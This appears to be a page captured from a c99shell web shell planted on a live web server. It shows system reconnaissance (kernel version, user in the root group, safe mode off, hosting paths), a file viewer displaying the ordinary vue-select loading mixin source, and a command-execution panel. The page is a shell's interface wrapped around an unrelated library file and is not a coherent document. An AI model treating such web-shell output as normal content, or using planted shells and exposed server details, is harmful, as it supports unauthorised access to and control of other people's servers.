Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/inventory.picotech.app/public_html/node_modules/vue-select/src/mixins/ drwxr-xr-x |
Viewing file: Select action/file-type: export default { props: { /** * Toggles the adding of a 'loading' class to the main * .v-select wrapper. Useful to control UI state when * results are being processed through AJAX. */ loading: { type: Boolean, default: false, }, }, data() { return { mutableLoading: false, } }, watch: { /** * Anytime the search string changes, emit the * 'search' event. The event is passed with two * parameters: the search string, and a function * that accepts a boolean parameter to toggle the * loading state. * * @emits search */ search() { this.$emit('search', this.search, this.toggleLoading) }, /** * Sync the loading prop with the internal * mutable loading value. * @param val */ loading(val) { this.mutableLoading = val }, }, methods: { /** * Toggle this.loading. Optionally pass a boolean * value. If no value is provided, this.loading * will be set to the opposite of it's current value. * @param toggle Boolean * @returns {*} */ toggleLoading(toggle = null) { if (toggle == null) { return (this.mutableLoading = !this.mutableLoading) } return (this.mutableLoading = toggle) }, }, } |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]-- |